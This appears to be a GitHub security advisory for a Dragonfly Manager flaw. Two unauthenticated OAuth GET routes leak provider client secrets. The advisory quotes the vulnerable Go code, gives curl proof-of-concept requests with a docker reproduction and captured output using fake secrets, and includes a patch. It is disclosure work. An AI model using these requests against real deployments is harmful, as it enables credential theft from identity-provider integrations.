Skip to content

Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth

Low severity GitHub Reviewed Published Jun 9, 2026 in dragonflyoss/dragonfly • Updated Jul 2, 2026

Package

gomod d7y.io/dragonfly/v2 (Go)

Affected versions

<= 2.4.3

Patched versions

2.4.4

Description

Summary

The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.

Affected versions

github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.

Privilege required

Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).

Vulnerable code

manager/router/router.go:134-140 (v2.4.3) — the /oauth group registration:

// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)

Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:

c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)

Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.

The handler at manager/handlers/oauth.go:127-141 returns the model directly:

func (h *Handlers) GetOauth(ctx *gin.Context) {
	var params types.OauthParams
	if err := ctx.ShouldBindUri(&params); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	ctx.JSON(http.StatusOK, oauth)
}

manager/handlers/oauth.go:155-171 has the parallel list handler:

func (h *Handlers) GetOauths(ctx *gin.Context) {
	var query types.GetOauthsQuery
	if err := ctx.ShouldBindQuery(&query); err != nil {
		ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
		return
	}

	h.setPaginationDefault(&query.Page, &query.PerPage)
	oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
	if err != nil {
		ctx.Error(err) // nolint: errcheck
		return
	}

	h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
	ctx.JSON(http.StatusOK, oauth)
}

manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:

type Oauth struct {
	BaseModel
	Name         string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
	BIO          string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
	ClientID     string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
	ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
	RedirectURL  string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
}

How an unauthenticated request reaches the OAuth client_secret

  1. gin.Engine routes GET /api/v1/oauth/:id to the oa group registered at manager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses jwt.MiddlewareFunc() (which would have set or rejected c.Get("id")) and middlewares.RBAC() (which would have called Casbin enforcement).
  2. The request enters h.GetOauth (manager/handlers/oauth.go:127), which binds the :id path parameter and calls h.service.GetOauth.
  3. service.GetOauth (manager/service/oauth.go) does s.db.First(&oauth, id) and returns the populated models.Oauth.
  4. The handler calls ctx.JSON(http.StatusOK, oauth). The ClientSecret field is serialized as client_secret in the response body.

There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.

Proof of concept

# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
#  has been registered via the authenticated POST /api/v1/oauth path.)

curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool

Both calls return HTTP 200 with a JSON body that includes client_secret.

End-to-end reproduction (against dragonflyoss/manager:v2.4.3 on docker compose)

Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:

mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
   /Users/rick/df2-poc/config/manager.yaml
# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).

cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
  redis:
    image: redis:6-alpine
    container_name: dragonfly-redis
    command: --requirepass dragonfly
  mysql:
    image: mariadb:10.6
    container_name: dragonfly-mysql
    environment:
      - MARIADB_USER=dragonfly
      - MARIADB_PASSWORD=dragonfly
      - MARIADB_DATABASE=manager
      - MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
  manager:
    image: dragonflyoss/manager:v2.4.3
    container_name: dragonfly-manager
    depends_on: [redis, mysql]
    restart: on-failure
    volumes:
      - ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
    ports:
      - "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentinel:

# Sign up + promote to root via the casbin_rule table (no other admin yet).
curl -s -X POST http://localhost:18080/api/v1/users/signup \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123","email":"admin@example.com"}'
docker exec dragonfly-mysql mysql -uroot -e \
  "USE manager; INSERT INTO casbin_rule (ptype, v0, v1) VALUES ('g','2','root');"
docker compose -f /Users/rick/df2-poc/docker-compose.yaml restart manager
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done

TOKEN=$(curl -s -X POST http://localhost:18080/api/v1/users/signin \
  -H 'Content-Type: application/json' \
  -d '{"name":"admin","password":"adminpass123"}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["token"])')

curl -s -X POST http://localhost:18080/api/v1/oauth \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
  -d '{"name":"github","client_id":"FAKE_CLIENT_ID_abc123",
       "client_secret":"FAKE_CLIENT_SECRET_supersensitive_xyz789"}'

Captured run output of the actual attack (unauthenticated client):

=== [0] Baseline: /api/v1/clusters demands auth ===
HTTP 401
=== [1] Baseline: /api/v1/jobs demands auth (post GHSA-j8hf fix) ===
HTTP 401

=== [ATTACK A] Unauthenticated GET /api/v1/oauth -> secret leaks ===
HTTP 200
[
    {
        "id": 1,
        "name": "github",
        "client_id": "FAKE_CLIENT_ID_abc123",
        "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
        "redirect_url": ""
    }
]

=== [ATTACK B] Unauthenticated GET /api/v1/oauth/1 -> secret leaks ===
HTTP 200
{
    "id": 1,
    "name": "github",
    "client_id": "FAKE_CLIENT_ID_abc123",
    "client_secret": "FAKE_CLIENT_SECRET_supersensitive_xyz789",
    "redirect_url": ""
}

Interpretation: /api/v1/clusters and /api/v1/jobs both reject the unauthenticated curl with 401 Unauthorized (the JWT + RBAC stack engages). The OAuth GETs return 200 OK plus the full row including client_secret. The Manager's own RBAC enforcement that exists for every other admin resource is bypassed for these two routes.

Fix verification (after applying the patch in the next section), the same harness must return 401 Unauthorized for both attack steps.

Impact

  • The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.
  • Unauthenticated disclosure of OAuth client_secret for GitHub / Google providers. A client_secret permits an attacker to mint OAuth tokens against the configured IdP for arbitrary callback URLs (subject to the provider's redirect-URI allowlist on that client), to impersonate the Manager during the OAuth handshake, and to construct phishing pages that look identical to the Manager's own redirect URL.
  • The same row also exposes client_id and redirect_url, both of which are useful for a follow-up account-takeover against any Manager user who relies on the OAuth sign-in flow.
  • Tenants who exposed the Manager's REST port (8080/tcp, default in the project's docker-compose.yaml and Helm chart) to a corporate network or the internet leak the secret to every host that can reach the port. Network-policy or ingress filtering does not mitigate this for in-cluster attackers.

CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) compounded by CWE-306 (Missing Authentication for Critical Function).

Suggested fix

Move the JWT and RBAC middleware to the route-group level, matching every other admin resource in the same file (/clusters, /scheduler-clusters, /seed-peers, /configs, /jobs after GHSA-j8hf, etc.). Additionally, drop ClientSecret from any read response by marking it json:"-" on the model, so even a future router regression cannot leak it.

--- a/manager/router/router.go
+++ b/manager/router/router.go
@@ Oauth.
-    oa := apiv1.Group("/oauth")
-    oa.POST("",   jwt.MiddlewareFunc(), rbac, h.CreateOauth)
-    oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
-    oa.PATCH(":id",  jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
-    oa.GET(":id", h.GetOauth)
-    oa.GET("",    h.GetOauths)
+    oa := apiv1.Group("/oauth", jwt.MiddlewareFunc(), rbac)
+    oa.POST("",      h.CreateOauth)
+    oa.DELETE(":id", h.DestroyOauth)
+    oa.PATCH(":id",  h.UpdateOauth)
+    oa.GET(":id",    h.GetOauth)
+    oa.GET("",       h.GetOauths)
--- a/manager/models/oauth.go
+++ b/manager/models/oauth.go
@@ type Oauth struct {
-    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
+    ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"-"`

The first hunk mirrors exactly the shape applied for /clusters, /scheduler-clusters, /seed-peer-clusters, /seed-peers, /peers, /configs, /applications, /personal-access-tokens, /persistent-cache-tasks, /audits, and (post-GHSA-j8hf-cp34-g4j7) /jobs. The second hunk adds a defense-in-depth pin so that if the OAuth registration handler is ever consumed by a future routing change, the secret stays out of the JSON contract.

Fix PR

https://github.com/dragonflyoss/dragonfly-ghsa-4q9j-6299-gxmr/pull/1 (temp private fork PR opened on the advisory's embargo-private fork).

Workarounds

The OAuth sign-in feature is not actually used in practice within the Dragonfly project itself.

Credit

Reported by tonghuaroot.

References

@gaius-qi gaius-qi published to dragonflyoss/dragonfly Jun 9, 2026
Published to the GitHub Advisory Database Jul 2, 2026
Reviewed Jul 2, 2026
Last updated Jul 2, 2026

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. Learn more on MITRE.

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-49254

GHSA ID

GHSA-4q9j-6299-gxmr

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.